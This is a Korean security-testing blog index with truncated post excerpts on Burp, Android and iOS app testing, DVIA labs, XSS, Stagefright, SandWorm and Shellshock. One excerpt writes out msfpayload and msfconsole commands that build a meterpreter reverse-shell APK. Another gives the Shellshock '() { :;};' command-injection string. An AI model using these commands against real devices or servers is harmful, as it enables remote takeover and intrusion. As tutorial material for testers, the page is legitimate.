티스토리

새 하드웨어 용량 초과
검색하기

블로그 홈

새 하드웨어 용량 초과

blog.oneandonlyme.xyz/m

누구를 위한 정보도 아닌 그냥 끄적임

구독자
0
방명록 방문하기
공지 해킹에 대한 법과 처벌 모두보기

주요 글 목록

  • [Burp] Extender - burp Extender 기능 활용 웹 프록시로 사용하는 버프에는 Extender라는 기능이 있습니다. BApp Store에는 점검 시 유용한 도구들이 존재하는데 직접 만들기도 가능하여, 특정 문자열을 입력하면 자동으로 표시해주는 소스를 작성하였습니다. ### 환경구성 Burp Suite Professional (유료버전) Jython Windows(http://www.jython.org/downloads.html - 다운) Mac OS X ($ brew install jython - 터미널 설치) ### Windows 환경 설정 jython 홈페이지에서 jython 2.7.0 - Standalon Jar 를 다운받습니다. Extender - Options - Python Environment 에서 다운받은 jar를 추가합니다. #### .. 공감수 0 댓글수 0 2018. 4. 16.
  • [Burp] Extender - Burp Suite JSBeautifier 소스 : https://github.com/irsdl/BurpSuiteJSBeautifier 준비 jsbeautifier.jar lib/js.jar lib/rsyntaxtextarea.jar Extender - Options - Java Environment 에서 lib 폴더 추가 Extender - Extensions - Burp Extensions 에서 Extension file(.jar) 파일 추가 수동변경 자동변경 공감수 0 댓글수 0 2018. 4. 16.
  • SSH 접속 시 RSA 공유키 충돌 Edit SSH 접속 시 RSA 공유키 충돌 SSH 접속 시 에러 발생 oneandonlymeui-MacBook-Pro:~ oneandonlyme$ ssh root@10.1.5.131 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle at.. 공감수 0 댓글수 0 2018. 3. 28.
  • iOS Memory 문자열 변조(String Edit in iOS Memory) 메모리 변조하는 방법에 대해서 일부 개발자만 동작원리와 개발하는 방법을 알고있다. 오늘 메모리 변조에 대한 기본 지식, 메모리 함수, 변조 방법까지 정리 할 예정이다. Part 1. 기본 개념 1. Process 프로세스 우리는 HelloWorld.c 컴파일을 하면 HelloWorld.exe을 실행 파일을 생성 수 있다. iOS/OSX는 실행 가능한 파일들이 모두 실행에 필요한 데이터와 명령어가 포함된 March-O 포맷으로 되어있다. 운영체제에서 해당 실행파일을 실행하면 우리는 그걸 프로세스라고 불른다. 사실 실행파일과 프로세스는 데이터와 명령어의 집합이 다른 상태의 같은 오브젝트(객체)이다. 실행 파일은 정적, 프로세스는 동적이라고 볼 수있다. 실행 파일은 하드 디스크에 저장되어있고 프로세스는 메모리.. 공감수 1 댓글수 0 2016. 4. 20.
  • Securing mobile banking on Android with SSL certificate pinning 애플리케이션과 서버간에 민감한 정보를 안전하게 전송하고 싶을 때, SSL 방식을 채택하여 사용할 것이다. 하지만 SSL 채택은 반만 맞는 이야기다. 애플리케이션과 서버간에 민감한 데이터를 전송하는 일은 빈번하다. 가장 대표적인 예로는 모바일 은행 애플리케이션이 있다. 가장 최악의 사황으로는 악의적인 해커가 당신의 은행 계좌 정보나 돈을 훔치거나 더 나쁜 행위를 저지를 수 있다. 모바일 뱅킹 솔루션에서 보안은 중요하기 때문에 데이터의 안전과 비밀성을 유지하기 위해서 SSL을 사용하는 것이다. 하지만 이러한 방법은 깨질 수 있다. Certificate pinning이란? SSL 연결을 만들 때 기본적으로 클라이언트는 서버의 인증서를 확인하게 된다. - 신뢰할수 있는 상위(root) 인증서를 검증 가능한 체인.. 공감수 0 댓글수 0 2016. 2. 29.
  • Android Rooting 체크 우회(Hooking with Cydia Substrate) 일부 금융 모바일 애플리케이션의 경우 Super user 권한을 임시 비활성화해도 정상 작동하지만 대부분의 금융 애플리케이션은 위변조를 통하여 Android 플랫폼 위변조를 탐지를 우회하게 된다. 하지만 최근 모바일 애플리케이션은 난독화, 재컴파일 방지, 위변조 탐지 등을 통해서 애플리케이션 위변조를 이용한 Super user 권한 탐지 우회가 어려워지고 있다. Android Hooking 후킹(영어: hooking)은 소프트웨어 공학 용어로, 운영 체제나 응용 소프트웨어 등의 각종 컴퓨터 프로그램에서 소프트웨어 구성 요소 간에 발생하는 함수 호출, 메시지, 이벤트 등을 중간에서 바꾸거나 가로채는 명령, 방법, 기술이나 행위를 말한다. 이때 이러한 간섭된 함수 호출, 이벤트 또는 메시지를 처리하는 코드를.. 공감수 0 댓글수 0 2015. 11. 16.
  • [Android Exploit] Android Exploit with metasploit metasploit reverse_tcp android http://exploiterz.blogspot.kr/2013/07/how-to-hack-android-devices-using.html 메타익스플로잇을 사용하여 안드로이드 Exploit Code가 포함된 APK 생성 및 리버스커넥션 연결하기 # ifconfig # msfpayload android/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 R > oneandonlyme.apk # msfconsole msf > use exploit/multi/handler msf exploit(handler) > set payload android/meterpreter/reverse_tcp msf exploit(handl.. 공감수 0 댓글수 0 2015. 11. 16.
  • [Android Exploit] Stagefright 취약점 Android 미디어 파일을 처리하는 Stagefright에서 다수의 정수 오버플로우 취약점이 발견되어 해커가 조작된 미디어 파일을 MMS를 이용하여 피해자로 전송할 경우 사용자의 인지 없이 원격 코드 실행 및 권한상승이 가능하다. 영향 받는 버전 안드로이드 2.2(Froyo) ~ 5.1.1_r5(Lollipop) Common Vulnerabilities and Exposures (CVE) 번호 CVE-2015-1538 CVE-2015-1539 CVE-2015-3824 CVE-2015-3826 CVE-2015-3827 CVE-2015-3828 테스트 https://www.exploit-db.com/exploits/38124/ exploit code를 실행하면 수많은 에러 메세지가 발생한다. Linux에서.. 공감수 0 댓글수 0 2015. 11. 16.
  • Android Tool Please use left sidebar to navigate between sections. Last Updated on: 8-May-2015 Forensics Tools Android Forensics - Open Source Android Forensics App and Framework Android Data Extractor Lite BitPim - BitPim is a program that allows you to view and manipulate data on many CDMA phones from LG, Samsung, Sanyo and other manufacturers. LiME - LiME (formerly DMD) is a Loadable Kernel Module (LKM), .. 공감수 0 댓글수 0 2015. 9. 17.
  • [Wi-Fi] wifiphisher 개요 무선 네트워크에서 암호문과 인증 정보를 획득하기 위한 자동화된 피싱 공격 툴이다. 무차별 공격을 하지 않고 사회 공학적 방법을 이용하여 WPA/WPA2의 암호문과 인증정보를 쉽게 획득 가능하다. wifiphisher는 칼리 리눅스에서 동작하며 MIT라이센스 아래 사용 가능하다. 절차 1. Victim은 AP로 미인증 상태 - 네트워크 범위 내에 존재하는 모든 wifi 디바이스에 deauth 패킷을 전송하여 트래픽 혼잡을 일으킨다. 2. Clinet는 가짜 AP(Acess point)에 접근 - 설정 상태를 복사한 AP를 도청한다. 그 다음 설정 상태를 복사한 AP를 가짜로 생성한다. Client가 가짜 AP로 연결을 시도하게되어 중간자 공격을 당하게 된다. 3. 실제 라우터 설정으로 보이는 페이지 .. 공감수 0 댓글수 0 2015. 7. 1.
  • OS X: 키보드 단축키 OS X: 키보드 단축키 키보드에서 키 조합을 누름으로써 Mac에서 키보드 단축키를 사용하여 작업을 수행할 수 있습니다. 키보드 단축키 사용하기 https://support.apple.com/ko-kr/HT201236 키보드 단축키를 사용하려면 조합 키를 누르는 동시에 문자 키를 누릅니다. 예를 들어 command 키(⌘ 기호가 있는 키)와 'c' 키를 누르면 현재 선택한 항목이 클립보드에 복사됩니다. 이를 command-C 키보드 단축키라고도 합니다. App의 메뉴에서 많은 단축키가 표시된 키를 볼 수 있습니다. 조합 키는 여러 키보드 단축키의 일부입니다. 조합 키는 OS X에서 다른 키 입력 또는 마우스/트랙패드 클릭을 해석하는 방식을 변경합니다. 조합 키에는 command, shift, option.. 공감수 0 댓글수 0 2015. 7. 1.
  • XCode printf("Hello, World!"); XCode printf("Hello, World!");MAC OX의 Xcode라는 개발도구를 이용하여 Objective-C 프로그래밍을 진행할것이다. 당연히 모든 개발 언어의 처음은 Hello world를 출력 할 것이다. “Create a new Xcode project”를 선택하여 새로운 프로젝트를 생성한다. 새로운 프로젝트를 생성하면 아래와 같이 템플릿을 선택하기 위한 창이 뜬다. 왼쪽에 OS X > Applicaion > Command Line Tool 을 선택한다. Product Name : 개발할 제품 명 (HelloWorld) Organizaion Name : 회사 이름 Organizaion Identifier : 회사 식별자 Bundle Identifier : 자동 생성 Language :.. 공감수 0 댓글수 0 2015. 3. 12.
  • Sublime Text에서 Androguard plugin 설치 및 사용법 Sublime Text에서 Androguard plugin 설치 및 사용법Androguard 툴은 애플리케이션 분석 및 apk 파일 리버싱 엔지니어링에 주로 초점되어 있으며, 안드로이드 애플리케이션 평가용으로 사용된다. 툴은 파이선으로 되어있으며 명령어 프롬프트를 이용하여 apk 파일에 접근이 가능하다. Installation 설치우선 플러그인이 설치 가능한 Sublime text 버전을 설치해야한다. Sublime Text version 2 : http://www.sublimetext.com/2 또한, Androguard plugin 집 파일을 다운받아야 한다. androguard flugin : https://androguard.googlecode.com/files/ag-st-1.9.zip Porta.. 공감수 0 댓글수 1 2015. 3. 5.
  • [Android] 안드로이드에 python 설치 안드로이드 Python 설치Scripting Layer for Android brings scripting languages to Android.https://code.google.com/p/android-scripting/ android-scriptinghttps://code.google.com/p/android-scripting/downloads/detail?name=PythonForAndroid_r4.apk 공감수 0 댓글수 0 2015. 2. 12.
  • Unicode 한글 한글 -> 유니코드 결과 : 유니코드 -> 한글 결과 : 공감수 0 댓글수 0 2015. 1. 30.
  • [DVIA] 11. Sensitive Information in memory [DVIA] 11. Sensitive Information in memory메모리에 중요 정보 노출 111. Sensitive Information in memory Q1. A couple of properties with the name "Password" & "Username"몇몇 속성의 이름은 "Password" 와 "Username" Q2. An instance variable named "passwd" 인스턴트 변수 명은 passwd이다. # pe -ef | grep Damn # gdb -p 1200 (gdb) b malloc(gdb) c(gdb) finish - > 사용하지 말 것!! (gdb) i r r0(gdb) i mach-region 0x00000000 0xFFFFFFFF(gdb) du.. 공감수 0 댓글수 0 2015. 1. 26.
  • iOS GNU Debugger 설치 iOS GNU Debugger 설치설치 환경 : iOS 8.1.2 (iPhone 5)추가 소스 : http://cydia.radare.org/ 공감수 0 댓글수 0 2015. 1. 20.
  • 오라클 접속 정보 설정(listener.ora, sqlnet.ora, tnsnames.ora) 오라클 접속 정보 설정(listener.ora, sqlnet.ora, tnsnames.ora) ♣ listener.ora - 위치: 서버에서 $ORACLE_HOME/network/admin/listener.ora - 오라클 서버에서 클라이언트의 요청을 듣고, 클라이언트와의 통신 환경을 설정하는 파일 - 오라클 서버에 존재, 오라클 클라이언트에서 서버로 접속할 때 필요한 프로토콜 및 포트 정보등을 설정하는 파일 - 설정형식: LISTENER = (DESCRIPTION_LIST = (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 호스트ip)(PORT = 포트번호)) ) ) ) SID_LIST_LISTENER = (SID_LIST = (SI.. 공감수 0 댓글수 0 2014. 11. 30.
  • arm-llinux-gnueabi-gcc를 이용한 android C언어 크로스 컴파일 Cross compiling static C hello world for Android using arm-linux-gnueabi-gcc sudo apt-get install gcc-arm-linux-gnueabi #include int main(int argc, char** argv) { printf("hello world\n"); return 0;} arm-linux-gnueabi-gcc -static -march=armv5 hi.c -o hiarm-none-linux-gnueabi-gcc -o hello -static hello.c adb push hi /data/hiadb shell /data/hi http://stackoverflow.com/questions/9324772/cross-compil.. 공감수 0 댓글수 0 2014. 11. 28.
  • iRET, Snoop-it 동시 설치 iRET, Snoop-it 동시 설치iRET과 Snoop-it을 설치 시 "trying to overwrite '/Applications/._.DS_Store'" 에러 메시지 출력 #dpkg-deb -x iRET.deb iRET_tmp/ #패키지 내용 추출#dpkg-deb -e iRET.deb iRET_tmp/DEBIAN/ #컨트롤 파일 추출#find iRET_tmp/ -name "*DS_Store" -type f -delete #모든 DS_Store 파일 삭제#vi iRET_tmp/DEBIAN/control #버전 태그 더블쿼터(")#dpkg-deb -b iRET_tmp/ updated_iRET.deb # 새로운 deb 파일 생성 iRET과 Snoop-it 두개의 패키지는 모두 ._.DS_Store을 .. 공감수 0 댓글수 0 2014. 11. 23.
  • iNalyzer5 iNalyzer5 iNalyzer - AppSec : https://appsec-labs.com/inalyzer/ Doxygen : http://www.stack.nl/~dimitri/doxygen/download.html Graphviz : http://www.graphviz.org/Download_windows.php # cd /Application/iNalyzer5.app/# ./iNalyzer5 공감수 0 댓글수 0 2014. 11. 23.
  • [DVIA] 10. Binary Patching [DVIA] 10. Binary Patching 모바일 애플리케이션의 실행 파일을 패치함으로써 애플리케이션의 기능을 영구적으로 변경 가능하다. 101. Login Method 1DVIA 모바일 애플리케이션에서 바이너리 패치 문제 중 첫번째 "Login Method 1"는 계정과 비밀번호로 인증하는 기능이다. 계정과 비밀번호가 틀려도 로그인 가능하면 성공이다. 계정과 비밀번호에 aa로 인증 시도하였으나, Oops 경고창을 확인했다. # 진행 단계 #1. 테스트 실행 (로그인 불가능)2. Snoop-it을 이용하여 동적 Object-C Class/Object-C Method 호출 확인3. IDA(Disassembler)를 이용하여 Object-C Method 동작 확인4. Hex Editor를 이용하여 바이.. 공감수 0 댓글수 0 2014. 11. 12.
  • SandWorm exploit MS파워포인트(PPT) SandWorm MS파워포인트(PPT) exploit Microsoft PowerPoint Vulnerable to Zero-Day Attack 발생 원인 발생 원인은 윈도우 Object Linking과 Embedding(OLE) 속성의 부분인 PACKAGER.DLL에 취약점이 존재한다. 조작된 PowerPoint 문서를 이용하여 OLE object 내에 작성되어있는 원격 SMB 공유 서버 접속 주소로 접근 후 .INF을 로컬로 복사하여 실행이 가능하다. 이와 같은 방법으로 다른 악성 코드까지 다운로드하여 실행이 가능하다. 공격 방법 + CVE-2014-4114 [SandWorm] SandWorm 취약점은 Microsoft PowerPoint 모든 버전에서 발생한다. 실행 환경 : Kali linux, .. 공감수 0 댓글수 0 2014. 10. 28.
  • [XSS] PHP htmlspecialchars 우회 [XSS] PHP htmlspecialchars 우회 PHP htmlspecialchars 함수 우회 가능성을 확인 Damn Vulnerable Web App(DVWA)에서 Stored XSS를 풀고 있는데 low와 medium의 경우 쉽게 풀리지만 high의 경우 htmlspecialchars()함수를 사용하기 때문에 쉽게 문제 풀이를 진행하지 못하고있다. Damn Vulnerable Web App(DVWA) : Stored XSS # Stored XSS Low # Stored XSS medium message의 경우 htmlspecialchars() 함수를 사용하여 스크립트 문자열이 치환되어 사용되지 않는다. name의 경우 htmlspecialchars()함수를 사용하지 않고 # Stored XSS.. 공감수 0 댓글수 0 2014. 10. 13.
  • Obfuscated code Input the JJEncode here: Decoded JJEncode String: 0 character(s) http://htmlobfuscator.com/ http://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html 공감수 0 댓글수 0 2014. 10. 10.
  • GNU Bash 환경 변수 명령어 인젝션 Shellshock GNU Bash 환경 변수 명령어 인젝션 Shellshock GUN bash Environment Variable Command Injection 발생 원인 공격 문구를 삽입할 때 () { :;}; [공격 명령어]; 를 이용하여 bash 쉘의 취약점을 이용하게 됩니다. 쉘 스크립트 문법을 분석했을때 함수선언 () 이후 { } 중괄호에 있는 코드를 실행 후 종료해야 하지만 Syntax 오류로 인해 종료되어야 할 시점 이후로 파싱되어 공격 명령어가 실행됩니다. 테스트 및 공격방법 + CVE-2014-6271 [bash 테스트] Shellshock 취약점이 발생하는지 테스트는 Unix 터미널에서 아래와 같이 입력한다. env check = 'Not vulnerable' x='() { :;}; check=Vul.. 공감수 0 댓글수 1 2014. 9. 30.
  • 윈도우 가젯 All CPU Meter 윈도우 가젯 All CPU Meter CPU, 프로세서, 온도, 사용률 등 컴퓨터 상태를 확인 가능한 프로그램입니다. Tool name All CPU Meter Author - Website http://addgadgets.com/all_cpu_meter/ License type Free Download 공감수 0 댓글수 0 2014. 9. 28.
  • [DVIA] 03. Runtime Manipulation [DVIA] 03. Runtime Manipulation Runtime Manipulation은 모바일 애플리케이션이 실행 중에 GDB, Cycript 등을 이용하여 동적으로 기능을 변경하는 방법이다. GDB나 Cycript는 이전 [DVIA] 02. Jailbreak Detection에서 사용하였으므로 이번에는 Snoop-it과 Theos/MobileSubstrate(Tweak)을 이용할 것이다. 031. Login Method 1 Theos는 Xcode를 사용하지 않고 iDevice의 소프트웨어를 관리, 개발 및 배포 가능한 크로스 플랫폼 개발 도구이다. ThoOS는 탈옥한 iOS에서 Tweak을 개발하기 위한 중요한 도구이다. DVIA 모바일 애플리케이션에서 Login Method 1을 클릭하면 ".. 공감수 0 댓글수 0 2014. 9. 11.
  • [DVIA] 02. Jailbreak Detection [DVIA] 02. Jailbreak DetectioniOS 탈옥(iOS jailbreaking)은 iOS의 제한을 풀어 사용자의 루트에 접근할 수 있게 함으로써 서명되지 않은 코드를 실행할 수 있게 하는 과정을 말한다. 보안 상으 문제로 탈옥을 탐지하도록 되어있으며 DVIA를 이용하여 탈옥 탐지 우회를 시도 할 것이다.※ 탈옥을 하는 이유 중 하나는 앱플과 앱 스토어가 막아 놓은 컨텐츠에 접근성 때문에 탈옥합니다. 021. Jailbreak Test 1 (GDB)DVIA 모바일 앱에서 Jailbreak Detection을 메뉴를 선택한 후 "Jailbreak Test 1"을 확인하면 탈옥 탐지를 확인하는 "Device is Jailbreken" 경고 메시지를 확인 할 수 있다. # 진행단계 #1. 테스.. 공감수 0 댓글수 5 2014. 9. 11.
  • [DVIA] 01. Insecure Data Storage [DVIA] 01. Insecure Data StorageInsecure Data Storage는 중요한 데이터를 적절한 보호없이 장치 내에 저장할때 발생하는 취약점입니다. 011. Plist/var/mobile/Application 디렉토리는 iOS 모바일 앱이 설치되는 샌드박스 저장 공간으로 iDevice에서 사용자가 설치한 모든 모바일 앱에 대한 정보 및 실행 파일이 존재한다. 프로퍼티 리스트 (property list) 는 Mac OS X, iOS, NeXTSTEP, GNUstep 프로그래밍 소프트웨어 프레임워크 등에 이용되는 객체 직렬화 를위한 파일 이다. 또한 . plist 라는 확장자 를 가지므로, 보통 plist 파일이라고 하는 경우가 많다. 프로퍼티 리스트 파일은 보통 사용자의 설정을 저.. 공감수 0 댓글수 0 2014. 9. 10.
    문의안내
    • 티스토리
    • 로그인
    • 고객센터

    티스토리는 카카오에서 사랑을 담아 만듭니다.

    © Kakao Corp.